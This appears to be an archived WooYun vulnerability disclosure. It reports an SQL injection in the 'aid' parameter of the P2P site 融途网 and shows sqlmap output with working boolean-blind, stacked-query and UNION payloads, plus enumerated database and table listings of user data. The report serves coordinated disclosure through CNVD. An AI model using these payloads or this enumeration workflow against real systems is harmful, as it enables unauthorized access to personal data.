当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0152927

漏洞标题：P2P安全之理财投资平台融途网SQL注入漏洞一枚

相关厂商：融途网

漏洞作者： 路人甲

提交时间：2015-11-11 00:23

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-11： 细节已通知厂商并且等待厂商处理中
2015-11-22： 厂商已经确认，细节仅向厂商公开
2015-12-02： 细节向核心白帽子及相关领域专家公开
2015-12-12： 细节向普通白帽子公开
2015-12-22： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

RT

详细说明：

注入地址：

http://**.**.**.**/youyue/index-common?aid=8212&page=2


[09:14:03] [INFO] GET parameter 'aid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'aid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) requests:
---
Parameter: aid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: aid=8212) AND 3211=3211 AND (6493=6493&page=2
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: aid=8212);(SELECT * FROM (SELECT(SLEEP(5)))kJwS)#&page=2
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: aid=8212) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b627171,0x4f665776437a667673506e6165746f4d5a654146715146655744546668546a6852695a696e71416a,0x716a787171)-- -&page=2
---
[09:14:03] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[09:14:03] [INFO] fetching database names
available databases [3]:
[*] bbs_erongtu2014_www
[*] information_schema
[*] mysql


可导致好几万成员信息泄露:

Database: bbs_erongtu2014_www
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| pre_forum_post                        | 623577  |
| pre_common_remote_port                | 374769  |
| pre_home_notification                 | 299650  |
| pre_forum_thread                      | 285462  |
| pre_forum_threadpartake               | 271594  |
| pre_forum_filter_post                 | 255265  |
| pre_common_visit                      | 197660  |
| pre_forum_sofa                        | 192379  |
| pre_forum_attachment                  | 147474  |
| pre_common_credit_rule_log            | 135460  |
| pre_common_member_grouppm             | 111109  |
| pre_security_evilpost                 | 82642   |
| pre_ucenter_memberfields              | 81410   |
| pre_ucenter_members                   | 81347   |
| pre_common_member_newprompt           | 71776   |
| pre_common_tagitem                    | 58352   |
| pre_forum_threadmod                   | 57645   |
| pre_forum_threadimage                 | 53840   |
| pre_forum_statlog                     | 49547   |
| pre_common_member_profile             | 45338   |
| pre_common_member                     | 45301   |
| pre_common_district                   | 45051   |
| pre_common_member_count               | 44094   |
| pre_common_member_field_forum         | 44094   |
| pre_common_member_field_home          | 44094   |
| pre_common_member_status              | 44094   |
| pre_plugin_autoreply_ref              | 38510   |
| pre_common_member_count_archive       | 36067   |
| pre_common_member_field_forum_archive | 36067   |
| pre_common_member_field_home_archive  | 36067   |
| pre_common_member_profile_archive     | 36067   |
| pre_common_member_status_archive      | 36067   |
| pre_common_member_archive             | 36065   |
| pre_home_friend_request               | 33324   |
| pre_forum_typeoptionvar               | 32064   |
| pre_common_word                       | 26682   |
| pre_common_word2                      | 26613   |
| pre_connect_postfeedlog               | 26212   |
| pre_connect_feedlog                   | 22508   |
| pre_common_member_crime               | 20727   |
| pre_home_blog                         | 18135   |
| pre_home_blogfield                    | 18135   |
| pre_common_onlinetime                 | 15750   |
| pre_forum_attachment_8                | 14663   |
| pre_forum_attachment_5                | 14543   |
| pre_forum_attachment_2                | 14419   |
| pre_forum_attachment_0                | 14410   |
| pre_forum_attachment_6                | 14301   |
| pre_forum_attachment_4                | 14100   |
| pre_forum_attachment_7                | 14091   |
| pre_forum_attachment_3                | 14085   |
| pre_forum_attachment_1                | 13959   |
| pre_forum_attachment_9                | 13619   |
| pre_home_clickuser                    | 13491   |
| pre_portal_article_related            | 12956   |
| pre_connect_memberbindlog             | 12594   |
| pre_common_member_connect             | 12066   |
| sms_send                              | 11780   |
| pre_common_verifycode                 | 10937   |
| pre_portal_article_content            | 10804   |
| pre_portal_article_count              | 10749   |
| pre_portal_article_title              | 10610   |
| zdb_public_subscribe_log              | 9951    |
| pre_home_follow_feed_archiver         | 8520    |
| pre_common_block_pic                  | 8129    |
| pre_forum_modwork                     | 7897    |
| pre_forum_newthread                   | 7211    |
| pre_hux_dzp_userjp                    | 7205    |
| pre_saion_seo_visit                   | 6915    |
| pre_forum_threadpreview               | 6852    |
| pre_common_plugin_luckypost           | 6679    |
| pre_forum_memberrecommend             | 5973    |
| pre_portal_attachment                 | 5639    |
| pre_forum_attachment_unused           | 5228    |
| pre_ucenter_pm_members                | 4909    |
| pre_security_eviluser                 | 4854    |
| pre_common_connect_guest              | 4612    |
| pre_wz_seo                            | 4191    |
| pre_home_pic                          | 4083    |
| pre_ucenter_pm_indexes                | 3747    |
| pre_home_pokearchive                  | 3658    |
| pre_common_tag                        | 3594    |
| pre_forum_optionvalue4                | 2880    |
| pre_lev_award                         | 2785    |
| pre_common_block_item_data            | 2606    |
| pre_common_block_item                 | 2579    |
| pre_ucenter_pm_lists                  | 2478    |
| pre_forum_medallog                    | 2333    |
| pre_common_credit_log_field           | 2098    |
| pre_common_credit_log                 | 2060    |
| pre_fx_checkin_rates                  | 2000    |
| rd_account                            | 1967    |
| pre_portal_comment                    | 1916    |
| pre_common_member_medal               | 1860    |
| pre_home_comment                      | 1492    |
| pre_forum_postcomment                 | 1463    |
| pre_forum_hotreply_member             | 1426    |
| pre_hux_dzp_user                      | 1357    |
| pre_dxksst_floor                      | 1318    |
| pre_forum_hotreply_number             | 1298    |
| pre_home_poke                         | 1268    |
| pre_ucenter_newpm                     | 1228    |
| pre_common_credit_rule_log_field      | 1147    |
| pre_dsu_paulsign                      | 1078    |
| pre_forum_rsscache                    | 1035    |
| pre_forum_ratelog                     | 1006    |
| pre_plugin_autoreply_member           | 1000    |
| pre_common_stat                       | 998     |
| pre_home_follow                       | 911     |
| pre_forum_pollvoter                   | 763     |
| pre_common_template_block             | 753     |
| pre_common_block                      | 576     |
| pre_home_share                        | 569     |
| pre_common_pluginvar                  | 541     |
| pre_forum_post_tableid                | 527     |
| zdb_sub_imei_msg                      | 502     |
| pre_ucenter_notelist                  | 494     |
| pre_home_favorite                     | 481     |
| pre_home_feed                         | 465     |
| pre_common_setting1                   | 458     |
| pre_forum_warning                     | 454     |
| pre_common_setting                    | 449     |
| pre_common_regip                      | 443     |
| pre_common_plugin_luckypostlog        | 423     |
| pre_ucenter_pm_messages_2             | 411     |
| pre_portal_rsscache                   | 405     |
| pre_home_friend                       | 404     |
| pre_forum_polloption                  | 396     |
| pre_ucenter_pm_messages_1             | 393     |
| pre_ucenter_pm_messages_0             | 379     |
| pre_ucenter_pm_messages_9             | 377     |
| pre_ucenter_pm_messages_6             | 376     |
| pre_ucenter_pm_messages_8             | 370     |
| pre_ucenter_pm_messages_4             | 368     |
| pre_ucenter_pm_messages_3             | 363     |
| pre_common_stylevar                   | 361     |
| pre_ucenter_pm_messages_5             | 358     |
| pre_ucenter_pm_messages_7             | 351     |
| pre_forum_postcache                   | 344     |
| pre_study_neilian_keyword             | 330     |
| pre_home_album                        | 323     |
| pre_common_report                     | 307     |
| pre_common_session                    | 287     |
| pre_common_relatedlink                | 266     |
| pre_common_member_action_log          | 235     |
| pre_piaobo_qqgroups                   | 230     |
| pre_forum_threadhot                   | 224     |
| pre_common_diy_data                   | 214     |
| pre_common_syscache                   | 193     |
| pre_fx_checkin_log                    | 190     |
| pre_home_class                        | 175     |
| pre_fx_checkin                        | 155     |
| pre_home_doing                        | 151     |
| pre_zstm_qqgroup_list                 | 144     |
| pre_common_statuser                   | 142     |
| pre_portal_article_trash              | 139     |
| pre_forum_poststick                   | 135     |
| pre_common_block_style                | 133     |
| pre_forum_threaddisablepos            | 120     |
| pre_home_friendlog                    | 119     |
| pre_forum_forumfield                  | 114     |
| pre_forum_forum                       | 113     |
| pre_forum_collection                  | 99      |
| zdb_verify_log                        | 98      |
| zdb_news                              | 94      |
| pre_forum_moderator                   | 89      |
| pre_common_smiley                     | 87      |
| pre_forum_thread_moderate             | 84      |
| pre_evinm_wenda_answer                | 82      |
| pre_common_nav                        | 71      |
| pre_common_admincp_perm               | 68      |
| pre_forum_replycredit                 | 68      |
| pre_forum_poll                        | 67      |
| pre_home_follow_feed                  | 65      |
| pre_common_friendlink                 | 57      |
| pre_common_member_profile_setting     | 51      |
| pre_lev_award_buy                     | 47      |
| pre_common_plugin                     | 46      |
| pre_forum_threadcalendar              | 45      |
| zdb_news_comment                      | 45      |
| pre_common_member_verify              | 42      |
| pre_forum_access                      | 41      |
| pre_common_admincp_cmenu              | 37      |
| pre_forum_optionvalue2                | 37      |
| pre_forum_activity                    | 36      |
| pre_forum_threadclass                 | 35      |
| pre_forum_typeoption                  | 33      |
| pre_forum_polloption_image            | 32      |
| pre_common_credit_rule                | 31      |
| pre_common_usergroup_field            | 30      |
| pre_forum_typevar                     | 30      |
| pre_evinm_wenda_user                  | 26      |
| pre_plugin_lj_sina                    | 26      |
| pre_ucenter_settings                  | 26      |
| pre_common_failedlogin                | 25      |
| pre_common_myapp                      | 25      |
| pre_common_usergroup                  | 24      |
| pre_portal_category                   | 24      |
| pre_common_zan                        | 23      |
| pre_common_cron                       | 22      |
| pre_evinm_wenda_ask                   | 22      |
| pre_common_block_permission           | 21      |
| pre_common_grouppm                    | 20      |
| zdb_platform                          | 19      |
| pre_common_advertisement              | 17      |
| pre_common_advertisement_custom       | 17      |
| pre_common_member_verify_info         | 17      |
| pre_home_specialuser                  | 17      |
| pre_common_member_stat_field          | 16      |
| pre_home_click                        | 15      |
| pre_common_cache                      | 14      |
| pre_forum_promotion                   | 14      |
| pre_forum_threadtype                  | 14      |
| zdb_oauth_client                      | 14      |
| pre_common_block_favorite             | 13      |
| pre_common_optimizer                  | 12      |
| pre_common_word_type                  | 12      |
| pre_hux_dzp_jx                        | 12      |
| pre_baidusubmit_setting               | 11      |
| pre_hux_dzp_jp                        | 11      |
| pre_forum_activityapply               | 10      |
| pre_forum_medal                       | 10      |
| pre_dsu_paulsignemot                  | 9       |
| pre_forum_onlinelist                  | 9       |
| pre_ucenter_vars                      | 8       |
| pre_common_admingroup                 | 7       |
| pre_common_member_log                 | 7       |
| zdb_category                          | 7       |
| pre_common_searchindex                | 6       |
| pre_evinm_wenda_fenlei                | 6       |
| pre_forum_collectionthread            | 6       |
| pre_home_userapp                      | 6       |
| pre_home_userappfield                 | 6       |
| zdb_oauth_info                        | 6       |
| pre_common_admincp_group              | 5       |
| pre_common_devicetoken                | 5       |
| pre_common_style                      | 5       |
| pre_common_template                   | 5       |
| pre_forum_post_moderate               | 5       |
| pre_common_uin_black                  | 4       |
| pre_forum_bbcode                      | 4       |
| pre_forum_collectionrelated           | 4       |
| pre_forum_grouplevel                  | 3       |
| pre_forum_imagetype                   | 3       |
| pre_home_blacklist                    | 3       |
| pre_home_docomment                    | 3       |
| pre_home_picfield                     | 3       |
| pre_common_domain                     | 2       |
| pre_common_patch                      | 2       |
| pre_forum_collectioncomment           | 2       |
| pre_forum_debate                      | 2       |
| pre_forum_debatepost                  | 2       |
| pre_forum_spacecache                  | 2       |
| pre_fx_checkin_con                    | 2       |
| pre_mobile_setting                    | 2       |
| pre_piaobo_qqgroup_type               | 2       |
| pre_portal_comment_moderate           | 2       |
| pre_portal_topic                      | 2       |
| pre_zstm_qqgroup_category             | 2       |
| zdb_public_notice                     | 2       |
| zdb_public_subscribe                  | 2       |
| pre_common_addon                      | 1       |
| pre_common_admincp_member             | 1       |
| pre_common_admincp_session            | 1       |
| pre_common_block_xml                  | 1       |
| pre_common_process                    | 1       |
| pre_common_secquestion                | 1       |
| pre_common_task                       | 1       |
| pre_dsu_paulsignset                   | 1       |
| pre_evinm_wenda_xml                   | 1       |
| pre_forum_attachtype                  | 1       |
| pre_forum_threadclosed                | 1       |
| pre_forum_threadprofile               | 1       |
| pre_ucenter_admins                    | 1       |
| pre_ucenter_applications              | 1       |
| pre_ucenter_failedlogins              | 1       |
| pre_ucenter_protectedmembers          | 1       |
| zdb_jpush_backlog                     | 1       |
| zdb_phone_recharge                    | 1       |
+---------------------------------------+---------+


漏洞证明：

数据库：

3个库.png


member 表：

member.png


具体数据：

数据1.png


该网站未修复漏洞 http://**.**.**.**/bugs/wooyun-2010-0131697
SVN泄露！！！

修复方案：

过滤参数

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-11-22 14:53

厂商回复：

CNVD确认所述情况，已经由CNVD通过网站公开联系方式向网站管理单位通报。

最新状态：

暂无

漏洞评价：

评价